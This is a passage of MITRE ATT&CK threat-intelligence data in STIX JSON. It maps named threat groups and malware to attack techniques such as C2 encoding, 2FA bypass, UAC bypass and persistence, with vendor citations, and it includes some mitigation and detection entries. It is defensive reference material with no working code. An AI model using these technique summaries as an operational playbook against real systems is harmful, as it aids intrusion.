2018"},{"url":"https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/","description":"ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.","source_name":"ESET Turla Mosquito May 2018"}],"modified":"2020-03-20T21:32:36.789Z","description":"A [Turla](https://attack.mitre.org/groups/G0010) JavaScript backdoor has used Google Apps Script as its C2 server.(Citation: ESET Turla Mosquito Jan 2018)(Citation: ESET Turla Mosquito May 2018)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fd0dc68-66b1-482a-b3bd-3037bb0045cb","type":"relationship","created":"2019-06-07T17:41:58.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}],"modified":"2019-06-10T19:29:30.846Z","description":"[Ixeshe](https://attack.mitre.org/software/S0015) sets its own executable file's attributes to hidden.(Citation: Trend Micro IXESHE 2012)","relationship_type":"uses","source_ref":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7fd19007-dd72-448f-b174-35d258b9c373","created":"2024-02-07T20:34:43.413Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-18T19:59:56.327Z","description":"[SLOWPULSE](https://attack.mitre.org/software/S1104) can insert malicious logic to bypass RADIUS and ACE two factor authentication (2FA) flows if a designated attacker-supplied password is provided.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--f8fc98ac-ad6d-44db-b6e2-f0c6eb4eace4","target_ref":"attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fd1b042-8543-46f7-90d5-631500f17e9e","type":"relationship","created":"2020-05-13T19:39:41.781Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}],"modified":"2020-05-13T19:39:41.781Z","description":"[Molerats](https://attack.mitre.org/groups/G0021) has sent phishing emails with malicious links included.(Citation: Kaspersky MoleRATs April 2019)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7fd4fe68-0f2a-485c-9b10-6847428ef5da","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Airbus Derusbi 2015","description":"Perigaud, F. (2015, December 15). Newcomers in the Derusbi family. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20180607084223/http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:22:04.647Z","description":"[Derusbi](https://attack.mitre.org/software/S0021) injects itself into the secure shell (SSH) process.(Citation: Airbus Derusbi 2015)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fd6c479-00ae-478d-a29b-fc40619eea97","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.","source_name":"Palo Alto Networks BBSRAT"}],"modified":"2020-03-17T00:22:59.308Z","description":"[BBSRAT](https://attack.mitre.org/software/S0127) uses GET and POST requests over HTTP or HTTPS for command and control to obtain commands and send ZLIB compressed data back to the C2 server.(Citation: Palo Alto Networks BBSRAT)","relationship_type":"uses","source_ref":"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fd7a4ea-aa95-4037-8bb2-0ff6b06de179","type":"relationship","created":"2020-03-15T00:30:25.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-15T00:30:25.578Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate some obfuscation activity at the network level. ","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fd96b72-6402-4f0e-b1fa-bc7f081626de","type":"relationship","created":"2019-05-24T17:02:44.353Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lab52 WIRTE Apr 2019","url":"https://lab52.io/blog/wirte-group-attacking-the-middle-east/","description":"S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019."}],"modified":"2020-03-17T02:49:55.705Z","description":"[WIRTE](https://attack.mitre.org/groups/G0090) has used HTTP for network communication.(Citation: Lab52 WIRTE Apr 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fe2431d-30b9-45ef-8857-ecef17e428a9","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/operation-daybreak/75100/","description":"Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.","source_name":"Securelist ScarCruft Jun 2016"}],"modified":"2019-09-09T19:12:32.841Z","description":"[APT37](https://attack.mitre.org/groups/G0067) has used Windows DDE for execution of commands and a malicious VBS.(Citation: Securelist ScarCruft Jun 2016)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fe49f05-8f96-4fc2-bc5b-b2eea59efca3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"AlienVault Sykipot 2011","description":"Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.","url":"https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"}],"modified":"2020-03-16T17:50:28.608Z","description":"[Sykipot](https://attack.mitre.org/software/S0018) may use net view /domain to display hostnames of available systems on a network.(Citation: AlienVault Sykipot 2011)","relationship_type":"uses","source_ref":"malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fe77b6f-4b95-4d27-976f-a2a2fbfca479","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fea2b8f-60f8-400a-bfef-08471fb75a3e","type":"relationship","created":"2020-11-13T21:28:40.778Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-12-09T19:12:41.238Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can block the Deibold Warsaw GAS Tecnologia security tool at the firewall level.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7feb6ceb-8a7c-45a9-902a-9b9c2c9a5e2c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Hydraq Jan 2010","description":"Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}],"modified":"2020-02-18T03:48:53.737Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) C2 traffic is encrypted using bitwise NOT and XOR operations.(Citation: Symantec Hydraq Jan 2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7ffec01b-b49c-4851-947f-cd29f9525aef","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 Sept 2018","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"}],"modified":"2020-03-17T02:46:42.639Z","description":"[UPPERCUT](https://attack.mitre.org/software/S0275) has the capability to gather the victim's proxy information.(Citation: FireEye APT10 Sept 2018)","relationship_type":"uses","source_ref":"malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7fff37e5-a123-4d85-850e-7745d1e18650","type":"relationship","created":"2021-09-14T16:04:26.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group WastedLocker June 2020","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}],"modified":"2021-09-21T21:07:44.435Z","description":"[WastedLocker](https://attack.mitre.org/software/S0612) can perform a UAC bypass if it is not executed with administrator rights or if the infected host runs Windows Vista or later.(Citation: NCC Group WastedLocker June 2020)","relationship_type":"uses","source_ref":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--800825f5-6e74-43ad-a732-476fdf471225","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-17T00:35:48.692Z","description":"[CloudDuke](https://attack.mitre.org/software/S0054) downloads and executes additional malware from either a Web address or a Microsoft OneDrive account.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--cbf646f1-7db5-4dc6-808b-0094313949df","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--800b5705-d504-41af-86cb-252c6b3e267f","type":"relationship","created":"2022-03-24T20:26:35.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T20:26:35.582Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can use `System.Security.AccessControl` namespaces to retrieve domain user information.(Citation: GitHub SILENTTRINITY Modules July 2019) ","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--800f3241-62f4-4eb4-b9a2-df62f67d27d6","created":"2020-03-30T19:55:05.954Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster RATs","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.","url":"https://web.archive.org/web/20220608001455/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:03:54.706Z","description":"Some [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses a list of ordered port numbers to choose a port for C2 traffic, creating port-protocol mismatches.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--800f4061-3347-4816-a633-179ede275505","type":"relationship","created":"2020-01-30T14:34:45.415Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-14T16:28:20.020Z","description":"The sudoers file should be strictly edited such that passwords are always required and that users can't spawn risky processes as users with higher privilege.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8019fbd7-b72e-42aa-8685-60e8138db932","created":"2022-08-11T22:51:45.029Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T21:04:58.405Z","description":"[Moses Staff](https://attack.mitre.org/groups/G1009) has used the commercial tool DiskCryptor.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--801f139f-1361-4d79-965e-078787f8ec36","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2020-03-20T18:03:40.138Z","description":"[AutoIt backdoor](https://attack.mitre.org/software/S0129) has sent a C2 response that was base64-encoded.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--f5352566-1a64-49ac-8f7f-97e1d1a03300","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--801fa89f-8114-492f-9748-85187190ea86","created":"2022-04-11T00:39:57.536Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) can use a list of hardcoded credentials in attempt to authenticate to SMB shares.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:39:57.536Z","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--80219528-7b8e-415a-b2f2-c3678bccc185","created":"2023-03-06T23:22:41.565Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T23:23:47.645Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) has relied on a user to open a malicious document or archived file delivered via email for initial execution.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8023d964-9013-4f3d-962e-569b799a2991","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lookout Dark Caracal Jan 2018","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-01T16:57:14.320Z","description":"[CrossRAT](https://attack.mitre.org/software/S0235) uses run keys for persistence on Windows.(Citation: Lookout Dark Caracal Jan 2018)","relationship_type":"uses","source_ref":"malware--a5e91d50-24fa-44ec-9894-39a88f658cea","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--80299c96-9450-48bc-8161-e72a41389f6a","created":"2020-11-06T18:40:38.328Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"cobaltstrike manual","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.840Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) uses the native Windows Network Enumeration APIs to interrogate and discover targets in a Windows Active Directory network.(Citation: cobaltstrike manual)(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8029cccc-e198-4326-ac27-67b5968007ee","type":"relationship","created":"2019-04-15T20:57:46.666Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET OceanLotus macOS April 2019","url":"https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/","description":"Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019."}],"modified":"2019-07-17T13:11:38.967Z","description":"[APT32](https://attack.mitre.org/groups/G0050)'s macOS backdoor can receive a “delete” command.(Citation: ESET OceanLotus macOS April 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--803160d1-cb32-4de9-86bc-ffcdd6221ca1","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8035ec83-a439-442f-81d9-9306d2235d91","created":"2024-07-12T18:55:14.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FRP GitHub","description":"fatedier. (n.d.). What is frp?. Retrieved July 10, 2024.","url":"https://github.com/fatedier/frp"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-12T19:29:19.874Z","description":"As part of load balancing [FRP](https://attack.mitre.org/software/S1144) can set `healthCheck.type = \"tcp\"` or `healthCheck.type = \"http\"` to check service status on specific hosts with TCPing or an HTTP request.(Citation: FRP 